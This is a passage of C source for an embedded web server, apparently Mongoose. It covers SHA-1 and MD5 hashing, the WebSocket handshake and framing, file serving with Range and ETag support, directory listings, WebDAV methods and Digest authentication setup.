R3(a,b,c,d,e,40); R3(e,a,b,c,d,41); R3(d,e,a,b,c,42); R3(c,d,e,a,b,43);
R3(b,c,d,e,a,44); R3(a,b,c,d,e,45); R3(e,a,b,c,d,46); R3(d,e,a,b,c,47);
R3(c,d,e,a,b,48); R3(b,c,d,e,a,49); R3(a,b,c,d,e,50); R3(e,a,b,c,d,51);
R3(d,e,a,b,c,52); R3(c,d,e,a,b,53); R3(b,c,d,e,a,54); R3(a,b,c,d,e,55);
R3(e,a,b,c,d,56); R3(d,e,a,b,c,57); R3(c,d,e,a,b,58); R3(b,c,d,e,a,59);
R4(a,b,c,d,e,60); R4(e,a,b,c,d,61); R4(d,e,a,b,c,62); R4(c,d,e,a,b,63);
R4(b,c,d,e,a,64); R4(a,b,c,d,e,65); R4(e,a,b,c,d,66); R4(d,e,a,b,c,67);
R4(c,d,e,a,b,68); R4(b,c,d,e,a,69); R4(a,b,c,d,e,70); R4(e,a,b,c,d,71);
R4(d,e,a,b,c,72); R4(c,d,e,a,b,73); R4(b,c,d,e,a,74); R4(a,b,c,d,e,75);
R4(e,a,b,c,d,76); R4(d,e,a,b,c,77); R4(c,d,e,a,b,78); R4(b,c,d,e,a,79);
state[0] += a;
state[1] += b;
state[2] += c;
state[3] += d;
state[4] += e;
a = b = c = d = e = 0;
memset(block, '\0', sizeof(block));
}
static void SHA1Init(SHA1_CTX* context) {
context->state[0] = 0x67452301;
context->state[1] = 0xEFCDAB89;
context->state[2] = 0x98BADCFE;
context->state[3] = 0x10325476;
context->state[4] = 0xC3D2E1F0;
context->count[0] = context->count[1] = 0;
}
static void SHA1Update(SHA1_CTX* context, const unsigned char* data,
uint32_t len) {
uint32_t i, j;
j = context->count[0];
if ((context->count[0] += len << 3) < j)
context->count[1]++;
context->count[1] += (len>>29);
j = (j >> 3) & 63;
if ((j + len) > 63) {
memcpy(&context->buffer[j], data, (i = 64-j));
SHA1Transform(context->state, context->buffer);
for ( ; i + 63 < len; i += 64) {
SHA1Transform(context->state, &data[i]);
}
j = 0;
}
else i = 0;
memcpy(&context->buffer[j], &data[i], len - i);
}
static void SHA1Final(unsigned char digest[20], SHA1_CTX* context) {
unsigned i;
unsigned char finalcount[8], c;
for (i = 0; i < 8; i++) {
finalcount[i] = (unsigned char)((context->count[(i >= 4 ? 0 : 1)]
>> ((3-(i & 3)) * 8) ) & 255);
}
c = 0200;
SHA1Update(context, &c, 1);
while ((context->count[0] & 504) != 448) {
c = 0000;
SHA1Update(context, &c, 1);
}
SHA1Update(context, finalcount, 8);
for (i = 0; i < 20; i++) {
digest[i] = (unsigned char)
((context->state[i>>2] >> ((3-(i & 3)) * 8) ) & 255);
}
memset(context, '\0', sizeof(*context));
memset(&finalcount, '\0', sizeof(finalcount));
}
// END OF SHA1 CODE
static void base64_encode(const unsigned char *src, int src_len, char *dst) {
static const char *b64 =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
int i, j, a, b, c;
for (i = j = 0; i < src_len; i += 3) {
a = src[i];
b = i + 1 >= src_len ? 0 : src[i + 1];
c = i + 2 >= src_len ? 0 : src[i + 2];
dst[j++] = b64[a >> 2];
dst[j++] = b64[((a & 3) << 4) | (b >> 4)];
if (i + 1 < src_len) {
dst[j++] = b64[(b & 15) << 2 | (c >> 6)];
}
if (i + 2 < src_len) {
dst[j++] = b64[c & 63];
}
}
while (j % 4 != 0) {
dst[j++] = '=';
}
dst[j++] = '\0';
}
static void send_websocket_handshake(struct mg_connection *conn,
const char *key) {
static const char *magic = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11";
char buf[500], sha[20], b64_sha[sizeof(sha) * 2];
SHA1_CTX sha_ctx;
snprintf(buf, sizeof(buf), "%s%s", key, magic);
SHA1Init(&sha_ctx);
SHA1Update(&sha_ctx, (unsigned char *) buf, strlen(buf));
SHA1Final((unsigned char *) sha, &sha_ctx);
base64_encode((unsigned char *) sha, sizeof(sha), b64_sha);
snprintf(buf, sizeof(buf), "%s%s%s",
"HTTP/1.1 101 Switching Protocols\r\n"
"Upgrade: websocket\r\n"
"Connection: Upgrade\r\n"
"Sec-WebSocket-Accept: ", b64_sha, "\r\n\r\n");
mg_write(conn, buf, strlen(buf));
}
static int deliver_websocket_frame(struct connection *conn) {
char *buf = conn->local_iobuf.buf;
int i, len, buf_len = conn->local_iobuf.len, frame_len = 0,
mask_len = 0, header_len = 0, data_len = 0, buffered = 0;
if (buf_len >= 2) {
len = buf[1] & 127;
mask_len = buf[1] & 128 ? 4 : 0;
if (len < 126 && buf_len >= mask_len) {
data_len = len;
header_len = 2 + mask_len;
} else if (len == 126 && buf_len >= 4 + mask_len) {
header_len = 4 + mask_len;
data_len = ((((int) buf[2]) << 8) + buf[3]);
} else if (buf_len >= 10 + mask_len) {
header_len = 10 + mask_len;
data_len = (((uint64_t) htonl(* (uint32_t *) &buf[2])) << 32) +
htonl(* (uint32_t *) &buf[6]);
}
}
frame_len = header_len + data_len;
buffered = frame_len > 0 && frame_len <= buf_len;
if (buffered) {
conn->mg_conn.content_len = data_len;
conn->mg_conn.content = buf + header_len;
conn->mg_conn.wsbits = buf[0];
// Apply mask if necessary
if (mask_len > 0) {
for (i = 0; i < data_len; i++) {
buf[i + header_len] ^= (buf + header_len - mask_len)[i % 4];
}
}
// Call the handler and remove frame from the iobuf
if (conn->endpoint.uh->handler(&conn->mg_conn)) {
conn->flags |= CONN_SPOOL_DONE;
}
memmove(buf, buf + frame_len, buf_len - frame_len);
conn->local_iobuf.len -= frame_len;
}
return buffered;
}
int mg_websocket_write(struct mg_connection* conn, int opcode,
const char *data, size_t data_len) {
unsigned char *copy;
size_t copy_len = 0;
int retval = -1;
if ((copy = (unsigned char *) malloc(data_len + 10)) == NULL) {
return -1;
}
copy[0] = 0x80 + (opcode & 0x0f);
// Frame format: http://tools.ietf.org/html/rfc6455#section-5.2
if (data_len < 126) {
// Inline 7-bit length field
copy[1] = data_len;
memcpy(copy + 2, data, data_len);
copy_len = 2 + data_len;
} else if (data_len <= 0xFFFF) {
// 16-bit length field
copy[1] = 126;
* (uint16_t *) (copy + 2) = (uint16_t) htons((uint16_t) data_len);
memcpy(copy + 4, data, data_len);
copy_len = 4 + data_len;
} else {
// 64-bit length field
copy[1] = 127;
* (uint32_t *) (copy + 2) = (uint32_t) htonl(data_len >> 32);
* (uint32_t *) (copy + 6) = (uint32_t) htonl(data_len & 0xffffffff);
memcpy(copy + 10, data, data_len);
copy_len = 10 + data_len;
}
if (copy_len > 0) {
retval = mg_write(conn, copy, copy_len);
}
free(copy);
return retval;
}
static void send_websocket_handshake_if_requested(struct mg_connection *conn) {
const char *ver = mg_get_header(conn, "Sec-WebSocket-Version"),
*key = mg_get_header(conn, "Sec-WebSocket-Key");
if (ver != NULL && key != NULL) {
conn->is_websocket = 1;
send_websocket_handshake(conn, key);
}
}
#endif // !NO_WEBSOCKET
static int is_error(int n) {
return n == 0 || (n < 0 && errno != EINTR && errno != EAGAIN);
}
static void write_to_client(struct connection *conn) {
struct iobuf *io = &conn->remote_iobuf;
int n = send(conn->client_sock, io->buf, io->len, 0);
DBG(("Written %d of %d(%d): [%.*s]", n, io->len, io->size, 0, io->buf));
if (is_error(n)) {
conn->flags |= CONN_CLOSE;
} else if (n > 0) {
memmove(io->buf, io->buf + n, io->len - n);
io->len -= n;
}
if (io->len == 0 && conn->flags & CONN_SPOOL_DONE) {
conn->flags |= CONN_CLOSE;
}
}
const char *mg_get_mime_type(const char *path) {
const char *ext;
size_t i, path_len;
path_len = strlen(path);
for (i = 0; static_builtin_mime_types[i].extension != NULL; i++) {
ext = path + (path_len - static_builtin_mime_types[i].ext_len);
if (path_len > static_builtin_mime_types[i].ext_len &&
mg_strcasecmp(ext, static_builtin_mime_types[i].extension) == 0) {
return static_builtin_mime_types[i].mime_type;
}
}
return "text/plain";
}
// Look at the "path" extension and figure what mime type it has.
// Store mime type in the vector.
static void get_mime_type(const struct mg_server *server, const char *path,
struct vec *vec) {
struct vec ext_vec, mime_vec;
const char *list, *ext;
size_t path_len;
path_len = strlen(path);
// Scan user-defined mime types first, in case user wants to
// override default mime types.
list = server->config_options[EXTRA_MIME_TYPES];
while ((list = next_option(list, &ext_vec, &mime_vec)) != NULL) {
// ext now points to the path suffix
ext = path + path_len - ext_vec.len;
if (mg_strncasecmp(ext, ext_vec.ptr, ext_vec.len) == 0) {
*vec = mime_vec;
return;
}
}
vec->ptr = mg_get_mime_type(path);
vec->len = strlen(vec->ptr);
}
static int parse_range_header(const char *header, int64_t *a, int64_t *b) {
return sscanf(header, "bytes=%" INT64_FMT "-%" INT64_FMT, a, b);
}
static void gmt_time_string(char *buf, size_t buf_len, time_t *t) {
strftime(buf, buf_len, "%a, %d %b %Y %H:%M:%S GMT", gmtime(t));
}
static void construct_etag(char *buf, size_t buf_len, const file_stat_t *st) {
snprintf(buf, buf_len, "\"%lx.%" INT64_FMT "\"",
(unsigned long) st->st_mtime, (int64_t) st->st_size);
}
static void open_file_endpoint(struct connection *conn, const char *path,
file_stat_t *st) {
char date[64], lm[64], etag[64], range[64], headers[500];
const char *msg = "OK", *hdr;
time_t curtime = time(NULL);
int64_t cl, r1, r2;
struct vec mime_vec;
int n, status_code = 200;
conn->endpoint_type = EP_FILE;
set_close_on_exec(conn->endpoint.fd);
get_mime_type(conn->server, path, &mime_vec);
cl = st->st_size;
range[0] = '\0';
// If Range: header specified, act accordingly
r1 = r2 = 0;
hdr = mg_get_header(&conn->mg_conn, "Range");
if (hdr != NULL && (n = parse_range_header(hdr, &r1, &r2)) > 0 &&
r1 >= 0 && r2 >= 0) {
status_code = 206;
cl = n == 2 ? (r2 > cl ? cl : r2) - r1 + 1: cl - r1;
snprintf(range, sizeof(range), "Content-Range: bytes "
"%" INT64_FMT "-%" INT64_FMT "/%" INT64_FMT "\r\n",
r1, r1 + cl - 1, (int64_t) st->st_size);
msg = "Partial Content";
lseek(conn->endpoint.fd, r1, SEEK_SET);
}
// Prepare Etag, Date, Last-Modified headers. Must be in UTC, according to
// http://www.w3.org/Protocols/rfc2616/rfc2616-sec3.html#sec3.3
gmt_time_string(date, sizeof(date), &curtime);
gmt_time_string(lm, sizeof(lm), &st->st_mtime);
construct_etag(etag, sizeof(etag), st);
n = snprintf(headers, sizeof(headers),
"HTTP/1.1 %d %s\r\n"
"Date: %s\r\n"
"Last-Modified: %s\r\n"
"Etag: %s\r\n"
"Content-Type: %.*s\r\n"
"Content-Length: %" INT64_FMT "\r\n"
"Connection: %s\r\n"
"Accept-Ranges: bytes\r\n"
"%s%s\r\n",
status_code, msg, date, lm, etag, (int) mime_vec.len,
mime_vec.ptr, cl, "keep-alive", range, EXTRA_HTTP_HEADERS);
spool(&conn->remote_iobuf, headers, n);
if (!strcmp(conn->mg_conn.request_method, "HEAD")) {
conn->flags |= CONN_SPOOL_DONE;
close(conn->endpoint.fd);
conn->endpoint_type = EP_NONE;
}
}
// Convert month to the month number. Return -1 on error, or month number
static int get_month_index(const char *s) {
int i;
for (i = 0; i < (int) ARRAY_SIZE(static_month_names); i++)
if (!strcmp(s, static_month_names[i]))
return i;
return -1;
}
static int num_leap_years(int year) {
return year / 4 - year / 100 + year / 400;
}
// Parse UTC date-time string, and return the corresponding time_t value.
static time_t parse_date_string(const char *datetime) {
static const unsigned short days_before_month[] = {
0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334
};
char month_str[32];
int second, minute, hour, day, month, year, leap_days, days;
time_t result = (time_t) 0;
if (((sscanf(datetime, "%d/%3s/%d %d:%d:%d",
&day, month_str, &year, &hour, &minute, &second) == 6) ||
(sscanf(datetime, "%d %3s %d %d:%d:%d",
&day, month_str, &year, &hour, &minute, &second) == 6) ||
(sscanf(datetime, "%*3s, %d %3s %d %d:%d:%d",
&day, month_str, &year, &hour, &minute, &second) == 6) ||
(sscanf(datetime, "%d-%3s-%d %d:%d:%d",
&day, month_str, &year, &hour, &minute, &second) == 6)) &&
year > 1970 &&
(month = get_month_index(month_str)) != -1) {
leap_days = num_leap_years(year) - num_leap_years(1970);
year -= 1970;
days = year * 365 + days_before_month[month] + (day - 1) + leap_days;
result = days * 24 * 3600 + hour * 3600 + minute * 60 + second;
}
return result;
}
// Return True if we should reply 304 Not Modified.
static int is_not_modified(const struct connection *conn,
const file_stat_t *stp) {
char etag[64];
const char *ims = mg_get_header(&conn->mg_conn, "If-Modified-Since");
const char *inm = mg_get_header(&conn->mg_conn, "If-None-Match");
construct_etag(etag, sizeof(etag), stp);
return (inm != NULL && !mg_strcasecmp(etag, inm)) ||
(ims != NULL && stp->st_mtime <= parse_date_string(ims));
}
static struct uri_handler *find_uri_handler(struct mg_server *server,
const char *uri) {
struct linked_list_link *lp, *tmp;
struct uri_handler *uh;
LINKED_LIST_FOREACH(&server->uri_handlers, lp, tmp) {
uh = LINKED_LIST_ENTRY(lp, struct uri_handler, link);
if (!strcmp(uh->uri, uri)) return uh;
}
return NULL;
}
// For given directory path, substitute it to valid index file.
// Return 0 if index file has been found, -1 if not found.
// If the file is found, it's stats is returned in stp.
static int find_index_file(struct connection *conn, char *path,
size_t path_len, file_stat_t *stp) {
const char *list = conn->server->config_options[INDEX_FILES];
file_stat_t st;
struct vec filename_vec;
size_t n = strlen(path), found = 0;
// The 'path' given to us points to the directory. Remove all trailing
// directory separator characters from the end of the path, and
// then append single directory separator character.
while (n > 0 && path[n - 1] == '/') {
n--;
}
path[n] = '/';
// Traverse index files list. For each entry, append it to the given
// path and see if the file exists. If it exists, break the loop
while ((list = next_option(list, &filename_vec, NULL)) != NULL) {
// Ignore too long entries that may overflow path buffer
if (filename_vec.len > (int) (path_len - (n + 2)))
continue;
// Prepare full path to the index file
strncpy(path + n + 1, filename_vec.ptr, filename_vec.len + 1);
// Does it exist?
if (!stat(path, &st)) {
// Yes it does, break the loop
*stp = st;
found = 1;
break;
}
}
// If no index file exists, restore directory path
if (!found) {
path[n] = '\0';
}
return found;
}
static void send_http_error(struct connection *conn, const char *fmt, ...) {
char buf[500];
int len;
va_list ap;
va_start(ap, fmt);
len = vsnprintf(buf, sizeof(buf), fmt, ap);
va_end(ap);
spool(&conn->remote_iobuf, buf, len);
conn->flags |= CONN_SPOOL_DONE;
}
static void call_uri_handler_if_data_is_buffered(struct connection *conn) {
struct iobuf *loc = &conn->local_iobuf;
struct mg_connection *c = &conn->mg_conn;
c->content = loc->buf;
#ifndef NO_WEBSOCKET
if (conn->mg_conn.is_websocket) {
do { } while (deliver_websocket_frame(conn));
} else
#endif
if (loc->len >= c->content_len) {
conn->endpoint.uh->handler(c);
close_local_endpoint(conn);
}
}
#if !defined(NO_DIRECTORY_LISTING) || !defined(NO_DAV)
static int must_hide_file(struct connection *conn, const char *path) {
const char *pw_pattern = "**" PASSWORDS_FILE_NAME "$";
const char *pattern = conn->server->config_options[HIDE_FILES_PATTERN];
return match_prefix(pw_pattern, strlen(pw_pattern), path) > 0 ||
(pattern != NULL && match_prefix(pattern, strlen(pattern), path) > 0);
}
static int scan_directory(struct connection *conn, const char *dir,
struct dir_entry **arr) {
char path[MAX_PATH_SIZE];
struct dir_entry *p;
struct dirent *dp;
int arr_size = 0, arr_ind = 0;
DIR *dirp;
if ((dirp = (opendir(dir))) == NULL) return 0;
while ((dp = readdir(dirp)) != NULL) {
// Do not show current dir and hidden files
if (!strcmp(dp->d_name, ".") ||
!strcmp(dp->d_name, "..") ||
must_hide_file(conn, dp->d_name)) {
continue;
}
snprintf(path, sizeof(path), "%s%c%s", dir, '/', dp->d_name);
// Resize the array if nesessary
if (arr_ind >= arr_size - 1) {
if ((p = (struct dir_entry *)
realloc(*arr, (100 + arr_size) * sizeof(**arr))) != NULL) {
// Memset struct to zero, otherwize st_mtime will have garbage which
// can make strftime() segfault, see
// http://code.google.com/p/mongoose/issues/detail?id=79
memset(p + arr_size, 0, sizeof(**arr) * arr_size);
*arr = p;
arr_size += 100;
}
}
if (arr_ind < arr_size) {
(*arr)[arr_ind].conn = conn;
(*arr)[arr_ind].file_name = strdup(dp->d_name);
stat(path, &(*arr)[arr_ind].st);
arr_ind++;
}
}
closedir(dirp);
return arr_ind;
}
static void mg_url_encode(const char *src, char *dst, size_t dst_len) {
static const char *dont_escape = "._-$,;~()";
static const char *hex = "0123456789abcdef";
const char *end = dst + dst_len - 1;
for (; *src != '\0' && dst < end; src++, dst++) {
if (isalnum(*(const unsigned char *) src) ||
strchr(dont_escape, * (const unsigned char *) src) != NULL) {
*dst = *src;
} else if (dst + 2 < end) {
dst[0] = '%';
dst[1] = hex[(* (const unsigned char *) src) >> 4];
dst[2] = hex[(* (const unsigned char *) src) & 0xf];
dst += 2;
}
}
*dst = '\0';
}
#endif // !NO_DIRECTORY_LISTING || !NO_DAV
#ifndef NO_DIRECTORY_LISTING
static int mg_write_chunked(struct connection *conn, const char *buf, int len) {
char chunk_size[50];
int n = snprintf(chunk_size, sizeof(chunk_size), "%X\r\n", len);
n = spool(&conn->remote_iobuf, chunk_size, n);
n += spool(&conn->remote_iobuf, buf, len);
n += spool(&conn->remote_iobuf, "\r\n", 2);
return n;
}
static void print_dir_entry(const struct dir_entry *de) {
char size[64], mod[64], href[MAX_PATH_SIZE * 3], chunk[MAX_PATH_SIZE * 4];
int64_t fsize = de->st.st_size;
int is_dir = S_ISDIR(de->st.st_mtime), n;
const char *slash = is_dir ? "/" : "";
if (is_dir) {
snprintf(size, sizeof(size), "%s", "[DIRECTORY]");
} else {
// We use (signed) cast below because MSVC 6 compiler cannot
// convert unsigned __int64 to double.
if (fsize < 1024) {
snprintf(size, sizeof(size), "%d", (int) fsize);
} else if (fsize < 0x100000) {
snprintf(size, sizeof(size), "%.1fk", (double) fsize / 1024.0);
} else if (fsize < 0x40000000) {
snprintf(size, sizeof(size), "%.1fM", (double) fsize / 1048576);
} else {
snprintf(size, sizeof(size), "%.1fG", (double) fsize / 1073741824);
}
}
strftime(mod, sizeof(mod), "%d-%b-%Y %H:%M", localtime(&de->st.st_mtime));
mg_url_encode(de->file_name, href, sizeof(href));
n = snprintf(chunk, sizeof(chunk), "<tr><td><a href=\"%s%s%s\">%s%s</a></td>"
"<td>&nbsp;%s</td><td>&nbsp;&nbsp;%s</td></tr>\n",
de->conn->mg_conn.uri, href, slash, de->file_name, slash, mod, size);
mg_write_chunked((struct connection *) de->conn, chunk, n);
}
// Sort directory entries by size, or name, or modification time.
// On windows, __cdecl specification is needed in case if project is built
// with __stdcall convention. qsort always requires __cdels callback.
static int __cdecl compare_dir_entries(const void *p1, const void *p2) {
const struct dir_entry *a = (const struct dir_entry *) p1,
*b = (const struct dir_entry *) p2;
const char *qs = a->conn->mg_conn.query_string ?
a->conn->mg_conn.query_string : "na";
int cmp_result = 0;
if (S_ISDIR(a->st.st_mtime) && !S_ISDIR(b->st.st_mtime)) {
return -1; // Always put directories on top
} else if (!S_ISDIR(a->st.st_mtime) && S_ISDIR(b->st.st_mtime)) {
return 1; // Always put directories on top
} else if (*qs == 'n') {
cmp_result = strcmp(a->file_name, b->file_name);
} else if (*qs == 's') {
cmp_result = a->st.st_size == b->st.st_size ? 0 :
a->st.st_size > b->st.st_size ? 1 : -1;
} else if (*qs == 'd') {
cmp_result = a->st.st_mtime == b->st.st_mtime ? 0 :
a->st.st_mtime > b->st.st_mtime ? 1 : -1;
}
return qs[1] == 'd' ? -cmp_result : cmp_result;
}
static void send_directory_listing(struct connection *conn, const char *dir) {
char buf[2000];
struct dir_entry *arr = NULL;
int i, num_entries, sort_direction = conn->mg_conn.query_string != NULL &&
conn->mg_conn.query_string[1] == 'd' ? 'a' : 'd';
snprintf(buf, sizeof(buf), "%s",
"HTTP/1.1 200 OK\r\n"
"Transfer-Encoding: Chunked\r\n"
"Content-Type: text/html; charset=utf-8\r\n\r\n");
spool(&conn->remote_iobuf, buf, strlen(buf));
snprintf(buf, sizeof(buf),
"<html><head><title>Index of %s</title>"
"<style>th {text-align: left;}</style></head>"
"<body><h1>Index of %s</h1><pre><table cellpadding=\"0\">"
"<tr><th><a href=\"?n%c\">Name</a></th>"
"<th><a href=\"?d%c\">Modified</a></th>"
"<th><a href=\"?s%c\">Size</a></th></tr>"
"<tr><td colspan=\"3\"><hr></td></tr>",
conn->mg_conn.uri, conn->mg_conn.uri,
sort_direction, sort_direction, sort_direction);
mg_write_chunked(conn, buf, strlen(buf));
num_entries = scan_directory(conn, dir, &arr);
qsort(arr, num_entries, sizeof(arr[0]), compare_dir_entries);
for (i = 0; i < num_entries; i++) {
print_dir_entry(&arr[i]);
free(arr[i].file_name);
}
free(arr);
mg_write_chunked(conn, "", 0); // Write final zero-length chunk
conn->flags |= CONN_SPOOL_DONE;
}
#endif // NO_DIRECTORY_LISTING
#ifndef NO_DAV
static void print_props(struct connection *conn, const char *uri,
file_stat_t *stp) {
char mtime[64], buf[MAX_PATH_SIZE];
gmt_time_string(mtime, sizeof(mtime), &stp->st_mtime);
snprintf(buf, sizeof(buf),
"<d:response>"
"<d:href>%s</d:href>"
"<d:propstat>"
"<d:prop>"
"<d:resourcetype>%s</d:resourcetype>"
"<d:getcontentlength>%" INT64_FMT "</d:getcontentlength>"
"<d:getlastmodified>%s</d:getlastmodified>"
"</d:prop>"
"<d:status>HTTP/1.1 200 OK</d:status>"
"</d:propstat>"
"</d:response>\n",
uri, S_ISDIR(stp->st_mode) ? "<d:collection/>" : "",
(int64_t) stp->st_size, mtime);
spool(&conn->remote_iobuf, buf, strlen(buf));
}
static void propfind(struct connection *conn, const char *path,
file_stat_t *stp) {
static const char header[] = "HTTP/1.1 207 Multi-Status\r\n"
"Connection: close\r\n"
"Content-Type: text/xml; charset=utf-8\r\n\r\n"
"<?xml version=\"1.0\" encoding=\"utf-8\"?>"
"<d:multistatus xmlns:d='DAV:'>\n";
static const char footer[] = "</d:multistatus>";
const char *depth = mg_get_header(&conn->mg_conn, "Depth"),
*list_dir = conn->server->config_options[ENABLE_DIRECTORY_LISTING];
conn->mg_conn.status_code = 207;
spool(&conn->remote_iobuf, header, sizeof(header) - 1);
// Print properties for the requested resource itself
print_props(conn, conn->mg_conn.uri, stp);
// If it is a directory, print directory entries too if Depth is not 0
if (S_ISDIR(stp->st_mode) && !mg_strcasecmp(list_dir, "yes") &&
(depth == NULL || strcmp(depth, "0") != 0)) {
struct dir_entry *arr = NULL;
int i, num_entries = scan_directory(conn, path, &arr);
for (i = 0; i < num_entries; i++) {
char buf[MAX_PATH_SIZE], buf2[sizeof(buf) * 3];
struct dir_entry *de = &arr[i];
snprintf(buf, sizeof(buf), "%s%s", de->conn->mg_conn.uri, de->file_name);
mg_url_encode(buf, buf2, sizeof(buf2) - 1);
print_props(conn, buf2, &de->st);
}
}
spool(&conn->remote_iobuf, footer, sizeof(footer) - 1);
conn->flags |= CONN_SPOOL_DONE;
}
static void mkcol(struct connection *conn, const char *path) {
static const char err_201[] = "HTTP/1.1 201 Created\r\n\r\n";
static const char err_403[] = "HTTP/1.1 403 Forbidden\r\n\r\n";
static const char err_405[] = "HTTP/1.1 405 Method Not Allowed\r\n\r\n";
static const char err_409[] = "HTTP/1.1 409 Conflict\r\n\r\n";
static const char err_415[] = "HTTP/1.1 415 Unsupported Media Type\r\n\r\n";
static const char err_500[] = "HTTP/1.1 500 Server Error\r\n\r\n";
if (conn->mg_conn.content_len > 0) {
spool(&conn->remote_iobuf, err_415, sizeof(err_415) - 1);
} else if (!mkdir(path, 0755)) {
spool(&conn->remote_iobuf, err_201, sizeof(err_201) - 1);
} else if (errno == EEXIST) {
spool(&conn->remote_iobuf, err_405, sizeof(err_405) - 1);
} else if (errno == EACCES) {
spool(&conn->remote_iobuf, err_403, sizeof(err_403) - 1);
} else if (errno == ENOENT) {
spool(&conn->remote_iobuf, err_409, sizeof(err_409) - 1);
} else {
spool(&conn->remote_iobuf, err_500, sizeof(err_500) - 1);
}
conn->flags |= CONN_SPOOL_DONE;
}
#endif // NO_DAV
static void send_options(struct connection *conn) {
static const char reply[] = "HTTP/1.1 200 OK\r\nAllow: GET, POST, HEAD, "
"CONNECT, PUT, DELETE, OPTIONS, PROPFIND, MKCOL\r\nDAV: 1\r\n\r\n";
spool(&conn->remote_iobuf, reply, sizeof(reply) - 1);
conn->flags |= CONN_SPOOL_DONE;
}
static int mg_printf(struct connection *conn, const char *fmt, ...) {
char buf[IOBUF_SIZE];
va_list ap;
int len;
va_start(ap, fmt);
len = vsnprintf(buf, sizeof(buf), fmt, ap);
va_end(ap);
return spool(&conn->remote_iobuf, buf, len);
}
#ifndef NO_AUTH
static void send_authorization_request(struct connection *conn) {
conn->mg_conn.status_code = 401;
mg_printf(conn,
"HTTP/1.1 401 Unauthorized\r\n"
"Content-Length: 0\r\n"
"WWW-Authenticate: Digest qop=\"auth\", "
"realm=\"%s\", nonce=\"%lu\"\r\n\r\n",
conn->server->config_options[AUTH_DOMAIN],
(unsigned long) time(NULL));
}
// Use the global passwords file, if specified by auth_gpass option,
// or search for .htpasswd in the requested directory.
static FILE *open_auth_file(struct connection *conn, const char *path) {
char name[MAX_PATH_SIZE];
const char *p, *gpass = conn->server->config_options[GLOBAL_AUTH_FILE];
file_stat_t st;
FILE *fp = NULL;
if (gpass != NULL) {
// Use global passwords file
fp = fopen(gpass, "r");
} else if (!stat(path, &st) && S_ISDIR(st.st_mode)) {
snprintf(name, sizeof(name), "%s%c%s", path, '/', PASSWORDS_FILE_NAME);
fp = fopen(name, "r");
} else {
// Try to find .htpasswd in requested directory.
if ((p = strrchr(path, '/')) == NULL) p = path;
snprintf(name, sizeof(name), "%.*s%c%s",
(int) (p - path), path, '/', PASSWORDS_FILE_NAME);
fp = fopen(name, "r");
}
return fp;
}
#ifndef HAVE_MD5
typedef struct MD5Context {
uint32_t buf[4];
uint32_t bits[2];
unsigned char in[64];
} MD5_CTX;
static void byteReverse(unsigned char *buf, unsigned longs) {
uint32_t t;
// Forrest: MD5 expect LITTLE_ENDIAN, swap if BIG_ENDIAN
if (is_big_endian()) {
do {
t = (uint32_t) ((unsigned) buf[3] << 8 | buf[2]) << 16 |
((unsigned) buf[1] << 8 | buf[0]);
* (uint32_t *) buf = t;
buf += 4;
} while (--longs);
}
}
#define F1(x, y, z) (z ^ (x & (y ^ z)))
#define F2(x, y, z) F1(z, x, y)
#define F3(x, y, z) (x ^ y ^ z)
#define F4(x, y, z) (y ^ (x | ~z))
#define MD5STEP(f, w, x, y, z, data, s) \
( w += f(x, y, z) + data, w = w<<s | w>>(32-s), w += x )
// Start MD5 accumulation. Set bit count to 0 and buffer to mysterious
// initialization constants.
static void MD5Init(MD5_CTX *ctx) {
ctx->buf[0] = 0x67452301;
ctx->buf[1] = 0xefcdab89;
ctx->buf[2] = 0x98badcfe;
ctx->buf[3] = 0x10325476;
ctx->bits[0] = 0;
ctx->bits[1] = 0;
}
static void MD5Transform(uint32_t buf[4], uint32_t const in[16]) {
register uint32_t a, b, c, d;
a = buf[0];
b = buf[1];
c = buf[2];
d = buf[3];
MD5STEP(F1, a, b, c, d, in[0] + 0xd76aa478, 7);
MD5STEP(F1, d, a, b, c, in[1] + 0xe8c7b756, 12);
MD5STEP(F1, c, d, a, b, in[2] + 0x242070db, 17);
MD5STEP(F1, b, c, d, a, in[3] + 0xc1bdceee, 22);
MD5STEP(F1, a, b, c, d, in[4] + 0xf57c0faf, 7);
MD5STEP(F1, d, a, b, c, in[5] + 0x4787c62a, 12);
MD5STEP(F1, c, d, a, b, in[6] + 0xa8304613, 17);
MD5STEP(F1, b, c, d, a, in[7] + 0xfd469501, 22);
MD5STEP(F1, a, b, c, d, in[8] + 0x698098d8, 7);
MD5STEP(F1, d, a, b, c, in[9] + 0x8b44f7af, 12);
MD5STEP(F1, c, d, a, b, in[10] + 0xffff5bb1, 17);
MD5STEP(F1, b, c, d, a, in[11] + 0x895cd7be, 22);
MD5STEP(F1, a, b, c, d, in[12] + 0x6b901122, 7);
MD5STEP(F1, d, a, b, c, in[13] + 0xfd987193, 12);
MD5STEP(F1, c, d, a, b, in[14] + 0xa679438e, 17);
MD5STEP(F1, b, c, d, a, in[15] + 0x49b40821, 22);
MD5STEP(F2, a, b, c, d, in[1] + 0xf61e2562, 5);
MD5STEP(F2, d, a, b, c, in[6] + 0xc040b340, 9);
MD5STEP(F2, c, d, a, b, in[11] + 0x265e5a51, 14);
MD5STEP(F2, b, c, d, a, in[0] + 0xe9b6c7aa, 20);
MD5STEP(F2, a, b, c, d, in[5] + 0xd62f105d, 5);
MD5STEP(F2, d, a, b, c, in[10] + 0x02441453, 9);
MD5STEP(F2, c, d, a, b, in[15] + 0xd8a1e681, 14);
MD5STEP(F2, b, c, d, a, in[4] + 0xe7d3fbc8, 20);
MD5STEP(F2, a, b, c, d, in[9] + 0x21e1cde6, 5);
MD5STEP(F2, d, a, b, c, in[14] + 0xc33707d6, 9);
MD5STEP(F2, c, d, a, b, in[3] + 0xf4d50d87, 14);
MD5STEP(F2, b, c, d, a, in[8] + 0x455a14ed, 20);
MD5STEP(F2, a, b, c, d, in[13] + 0xa9e3e905, 5);
MD5STEP(F2, d, a, b, c, in[2] + 0xfcefa3f8, 9);
MD5STEP(F2, c, d, a, b, in[7] + 0x676f02d9, 14);
MD5STEP(F2, b, c, d, a, in[12] + 0x8d2a4c8a, 20);
MD5STEP(F3, a, b, c, d, in[5] + 0xfffa3942, 4);
MD5STEP(F3, d, a, b, c, in[8] + 0x8771f681, 11);
MD5STEP(F3, c, d, a, b, in[11] + 0x6d9d6122, 16);
MD5STEP(F3, b, c, d, a, in[14] + 0xfde5380c, 23);
MD5STEP(F3, a, b, c, d, in[1] + 0xa4beea44, 4);
MD5STEP(F3, d, a, b, c, in[4] + 0x4bdecfa9, 11);
